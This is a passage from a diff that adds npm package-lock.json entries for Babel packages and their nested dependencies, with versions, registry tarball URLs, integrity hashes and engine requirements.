"sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/cli/node_modules/upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "dev": true, + "optional": true, + "engines": { + "node": ">=4", + "yarn": "*" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "dependencies": { + "@babel/highlight": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.21.0.tgz", + "integrity": "sha512-gMuZsmsgxk/ENC3O/fRw5QY8A9/uxQbbCEypnLIiYYc/qVJtEV7ouxC3EllIIwNzMqAQee5tanFabWsUOutS7g==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.21.0.tgz", + "integrity": "sha512-PuxUbxcW6ZYe656yL3EAhpy7qXKq0DmYsrJLpbB8XrsCP9Nm+XCg9XFMb5vIDliPD7+U/+M+QJlH17XOcB7eXA==", + "peer": true, + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.21.0", + "@babel/helper-compilation-targets": "^7.20.7", + "@babel/helper-module-transforms": "^7.21.0", + "@babel/helpers": "^7.21.0", + "@babel/parser": "^7.21.0", + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.21.0", + "@babel/types": "^7.21.0", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/core/node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "peer": true + }, + "node_modules/@babel/core/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "peer": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/@babel/core/node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "peer": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/core/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "peer": true + }, + "node_modules/@babel/core/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/generator": { + "version": "7.21.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.21.1.tgz", + "integrity": "sha512-1lT45bAYlQhFn/BHivJs43AiW2rg3/UbLyShGfF3C0KmHvO5fSghWd5kBJy30kpRRucGzXStvnnCFniCR2kXAA==", + "dependencies": { + "@babel/types": "^7.21.0", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/generator/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/generator/node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", + "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.10.4.tgz", + "integrity": "sha512-L0zGlFrGWZK4PbT8AszSfLTM5sDU1+Az/En9VrdT8/LmEiJt4zXt+Jve9DCAnQcbqDhCI+29y/L93mrDzddCcg==", + "dependencies": { + "@babel/helper-explode-assignable-expression": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.20.7.tgz", + "integrity": "sha512-4tGORmfQcrc+bvrjb5y3dG9Mx1IOZjsHqQVUz7XCNHO+iTmqxWnVg3KRygjGmpRLJGdQSKuvFinbIb0CnZwHAQ==", + "dependencies": { + "@babel/compat-data": "^7.20.5", + "@babel/helper-validator-option": "^7.18.6", + "browserslist": "^4.21.3", + "lru-cache": "^5.1.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/browserslist": { + "version": "4.21.5", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.5.tgz", + "integrity": "sha512-tUkiguQGW7S3IhB7N+c2MV/HZPSCPAAiYBZXLsBhFB/PCy6ZKKsZrmBayHV9fdGV/ARIfJ14NkxKzRDjvp7L6w==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001449", + "electron-to-chromium": "^1.4.284", + "node-releases": "^2.0.8", + "update-browserslist-db": "^1.0.10" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/node-releases": { + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.10.tgz", + "integrity": "sha512-5GFldHPXVG/YZmFzJvKK2zDSzPKhEp0+ZR5SVaoSag9fsL5YgHbUHDfnG5494ISANDcK4KwPXAx2xqVEydmd7w==" + }, + "node_modules/@babel/helper-compilation-targets/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "browserslist-lint": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.21.0.tgz", + "integrity": "sha512-Q8wNiMIdwsv5la5SPxNYzzkPnjgC0Sy0i7jLkVOCdllu/xcVNkr3TeZzbHBJrj+XXRqzX5uCyCoV9eu6xUG7KQ==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-function-name": "^7.21.0", + "@babel/helper-member-expression-to-functions": "^7.21.0", + "@babel/helper-optimise-call-expression": "^7.18.6", + "@babel/helper-replace-supers": "^7.20.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/helper-split-export-declaration": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.10.4.tgz", + "integrity": "sha512-2/hu58IEPKeoLF45DBwx3XFqsbCXmkdAay4spVr2x0jYgRxrSNp+ePwvSsy9g6YSaNDcKIQVPXk1Ov8S2edk2g==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-regex": "^7.10.4", + "regexpu-core": "^4.7.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/regexpu-core": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz", + "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==", + "dependencies": { + "regenerate": "^1.4.0", + "regenerate-unicode-properties": "^8.2.0", + "regjsgen": "^0.5.1", + "regjsparser": "^0.6.4", + "unicode-match-property-ecmascript": "^1.0.4", + "unicode-match-property-value-ecmascript": "^1.2.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/regjsgen": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", + "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==" + }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/regjsparser": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz", + "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==", + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/@babel/helper-define-map": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.10.5.tgz", + "integrity": "sha512-fMw4kgFB720aQFXSVaXr79pjjcW5puTCM16+rECJ/plGS+zByelE8l9nCpV1GibxTnFVmUuYG9U8wYfQHdzOEQ==", + "dependencies": { + "@babel/helper-function-name": "^7.10.4", + "@babel/types": "^7.10.5", + "lodash": "^4.17.19" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz", + "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==", + "peer": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0-0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "peer": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "peer": true + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", + "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-explode-assignable-expression": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.10.4.tgz", + "integrity": "sha512-4K71RyRQNPRrR85sr5QY4X3VwG4wtVoXZB9+L3r1Gp38DhELyHCtovqydRi7c1Ovb17eRGiQ/FD5s8JdU0Uy5A==", + "dependencies": { + "@babel/traverse": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.21.0.tgz", + "integrity": "sha512-HfK1aMRanKHpxemaY2gqBmL04iAPOPRj7DxtNbiDOrJK+gdwkiNRVpCpUJYbUT+aZyemKN8brqTOxzCaG6ExRg==", + "dependencies": { + "@babel/template": "^7.20.7", + "@babel/types": "^7.21.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-get-function-arity": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.10.4.tgz", + "integrity": "sha512-EkN3YDB+SRDgiIUnNgcmiD361ti+AVbL3f3Henf6dqqUyr5dMsorno0lJWJuLhDhkI5sYEpgj6y9kB8AOU1I2A==", + "dependencies": { + "@babel/types": "^7.10.4" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", + "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.21.0.tgz", + "integrity": "sha512-Muu8cdZwNN6mRRNG6lAYErJ5X3bRevgYR2O8wN0yn7jJSnGDu6eG59RfT29JHxGUovyfrh6Pj0XzmR7drNVL3Q==", + "dependencies": { + "@babel/types": "^7.21.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", + "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.21.2.tgz", + "integrity": "sha512-79yj2AR4U/Oqq/WOV7Lx6hUjau1Zfo4cI+JLAVYeMV5XIlbOhmjEk5ulbTc9fMpmlojzZHkUUxAiK+UKn+hNQQ==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-simple-access": "^7.20.2", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/helper-validator-identifier": "^7.19.1", + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.21.2", + "@babel/types": "^7.21.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz", + "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.20.2", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.20.2.tgz", + "integrity": "sha512-8RvlJG2mj4huQ4pZ+rU9lqKi9ZKiRmuvGuM2HlWmkmgOhbs6zEAw6IEiJ5cQqGbDzGZOhwuOQNtZMi/ENLjZoQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-regex": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.10.5.tgz", + "integrity": "sha512-68kdUAzDrljqBrio7DYAEgCoJHxppJOERHOgOrDN7WjOzP0ZQ1LsSDRXcemzVZaLvjaJsJEESb6qt+znNuENDg==", + "dependencies": { + "lodash": "^4.17.19" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.10.4.tgz", + "integrity": "sha512-86Lsr6NNw3qTNl+TBcF1oRZMaVzJtbWTyTko+CQL/tvNvcGYEFKbLXDPxtW0HKk3McNOk4KzY55itGWCAGK5tg==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-wrap-function": "^7.10.4", + "@babel/template": "^7.10.4", + "@babel/traverse": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.20.7.tgz", + "integrity": "sha512-vujDMtB6LVfNW13jhlCrp48QNslK6JXi7lQG736HVbHz/mbf4Dc7tIRh1Xf5C0rF7BP8iiSxGMCmY6Ci1ven3A==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-member-expression-to-functions": "^7.20.7", + "@babel/helper-optimise-call-expression": "^7.18.6", + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.20.7", + "@babel/types": "^7.20.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.20.2", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.20.2.tgz", + "integrity": "sha512-+0woI/WPq59IrqDYbVGfshjT5Dmk/nnbdpcF8SnMhhXObpTq2KNBdLFRFrkVdbDOyUmHBCxzm5FHV1rACIkIbA==", + "dependencies": { + "@babel/types": "^7.20.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.20.0", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.20.0.tgz", + "integrity": "sha512-5y1JYeNKfvnT8sZcK9DVRtpTbGiomYIHviSP3OQWmDPU3DeH4a1ZlT/N2lyQ5P8egjcRaT/Y9aNqUxK0WsnIIg==", + "dependencies": { + "@babel/types": "^7.20.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", + "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.19.4", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.19.4.tgz", + "integrity": "sha512-nHtDoQcuqFmwYNYPz3Rah5ph2p8PFeFCsZk9A/48dPc/rGocJ5J3hAAZ7pb76VWX3fZKu+uEr/FhH5jLx7umrw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.19.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", + "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.21.0.tgz", + "integrity": "sha512-rmL/B8/f0mKS2baE9ZpyTcTavvEuWhTTW8amjzXNvYG4AwBsqTLikfXsEofsJEfKHf+HQVQbFOHy6o+4cnC/fQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.10.4.tgz", + "integrity": "sha512-6py45WvEF0MhiLrdxtRjKjufwLL1/ob2qDJgg5JgNdojBAZSAKnAjkyOCNug6n+OBl4VW76XjvgSFTdaMcW0Ug==", + "dependencies": { + "@babel/helper-function-name": "^7.10.4", + "@babel/template": "^7.10.4", + "@babel/traverse": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "node_modules/@babel/helpers": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.21.0.tgz", + "integrity": "sha512-XXve0CBtOW0pd7MRzzmoyuSj0e3SEzj8pgyFxnTT1NJZL38BD1MK7yYrm8yefRPIDvNNe14xR4FdbHwpInD4rA==", + "peer": true, + "dependencies": { + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.21.0", + "@babel/types": "^7.21.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + 